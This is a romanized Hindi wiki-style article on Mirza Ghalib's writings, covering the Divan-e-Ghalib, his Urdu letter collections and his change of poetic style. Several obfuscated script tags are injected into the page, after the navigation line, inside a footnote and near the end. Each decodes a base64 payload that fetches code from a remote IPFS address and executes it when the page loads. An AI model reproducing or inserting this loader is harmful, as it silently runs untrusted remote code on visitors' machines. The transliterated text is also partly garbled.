ग़ालिब की रचनाएँ
thumb|250px|'divan-e-galib' ka avaran prishth galib urdoo-farasi ke prakhyat kavi tatha mahanh shayar the. galib ne apani rachanaoan mean saral shabdoan ka prayog kiya hai. urdoo gady-lekhan ki nianv rakhane ke karan inhean vartaman urdoo gady ka janmadata bhi kaha jata hai. dilli mean sasur tatha unake pratishthit sathiyoan evan mitroan ke kavy prem ka in par achchha asar hua. ilahibakhsh khaan pavitr evan rahasyavadi prem se poorn kavy-rachana karate the. vah pavitr vicharoan ke adami the. unake yahaan soofiyoan tatha shayaroan ka jamaghat rahata tha. nishchay hi galib par in goshthiyoan ka achchha asar p da.
rachanaean
inaki any rachanaean 'latayaphe gaibi', 'durapashe kaveyani', 'namae galib', 'mehnim' adi gady mean haian. farasi ke kuliyat mean farasi kavitaoan ka sangrah haian. dastanb mean inhoanne 1857 ee. ke balave ka aankhoan dekha vivaran farasi gady mean likha haian. galib ne nimn rachanaean bhi ki haian-
- 'urdoo-e-hindi'
- 'urdoo-e-mualla'
- 'nam-e-galib'
- 'latayaphe gaibi'
- 'duvapashe kaveyani' adi.
inaki rachanaoan mean desh ki tatkalin samajik, rajanitik tatha arthik sthiti ka varnan hua hai.
divan-e-galib
unaki khoobasoorat shayari ka sangrah 'divan-e-galib' ke roop mean 10 bhagoan mean prakashit hua hai. jisaka anek svadeshi tatha videshi bhashaoan mean anuvad ho chuka hai.
hazaroan khvahishean aisi, ki har khvahish pe dam nikale |
bazicha-e-atfal[10] hai duniya hai mere age |
kavyashaili mean parivartan
mirza galib ne farasi bhasha mean kavita karana praranbh kiya tha aur isi farasi kavita par hi inhean sada abhiman raha. parantu yah dev ki kripa hai ki, inaki prasiddhi, samman tatha sarvapriyata ka adhar inaka chhota-sa urdoo ka ‘divan-e- galib’ hi hai. inhoanne jab urdoo mean kavita karana aranbh kiya, usamean farasi shabdavali tatha yojanaean itani bhari rahati thian ki, vah atyant klisht ho jati thi. inake bhavoan ke vishesh ulajhe hone se inake sher paheli ban jate the. apane poorvavartiyoan se bhinn ek naya marg nikalane ki dhun mean yah nity ne prayog kar rahe the. kiantu inhoanne shighr hi samay ki avashyakata ko samajha aur svayan hi apani kavyashaili mean parivartan kar dala tatha pahale ki bahut-si kavitaean nasht kar kramash: nee kavita mean aisi saralata la di ki, vah sabake samajhane yogy ho gee.
ne gady ke pravartak
mirza galib ne keval kavita mean hi nahi, gadyalekhan ke liye bhi ek naya marg nikala tha, jis par vartaman urdoo gady ki nianv rakhi gee. sach to yah hai ki, galib ko ne gady ka pravartak kahana chahie.' inake do patr-sangrah, ‘urdu-e-hindi’ tatha ‘urdu-e-mualla’ aise granth haian ki, inaka upayog kie bina aj koee urdoo gady likhane ka sahas nahian kar sakata. in patroan ke dvara inhoanne saral urdoo likhane ka dhang nikala aur use farasi arabi ki klisht shabdavali tatha shaili se svatantr kiya. in patroan mean tatkalin samajik, arthik tatha rajanitik vivaranoan ka achchha chitr haian. galib ki vinodapriyata bhi inamean dikhalaee p dati hai. inaki bhasha itani saral, suandar tatha akarshak hai ki, vaisi bhasha koee urdoo lekhak ab tak nahian likh saka. galib ki shaili isaliye bhi vishesh priy hai ki, usamean achchhaiyaan bhi haian aur kachchaiyaan bhi, tatha poornata aur trutiyaan bhi haian. yah poornaroop se manushy haian aur isaki chhap inake gady pady donoan par hai.
behatarin shayar
mirza asadulla beg khan 'galib' ka sthan urdoo ke choti ke shayar ke roop mean sadaiv akshunn rahega. unhoanne urdoo sahity ko ek sudridh adhar pradan kiya hai. urdoo aur farasi ke behatarin shayar ke roop mean unaki khyati door-door tak phaili tatha arab evan any rashtroan mean bhi ve atyant lokapriy hue. galib ki shayari mean ek t dap, ek chahat aur ek ashiqana aandaz paya jata hai. jo sahaj hi pathak ke man ko chhoo leta hai.
left|30px|link=galib ka daur|pichhe jaean | galib ki rachanaean | right|30px|link=galib|age jaean |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ anand, kalim divan-e-galib, tritiy sanskaran 2009 (hindi), manoj pablikeshans, 110.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ svarg
- ↑ pahala manav
- ↑ apamanit
- ↑ gali
- ↑ asha
- ↑ bikharana
- ↑ prashansa
- ↑ atyachar ki talavar se ghayal
- ↑ bachchoan ka khel
- ↑ dharm
- ↑ adharm
- ↑ muslim dharm sthal
- ↑ kalisa
- ↑ hilana
bahari k diyaan
hindi path k diyaan |
aangrezi path k diyaan |
vidiyo k diyaan |
---|---|---|
link=#top|center|oopar jayean |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>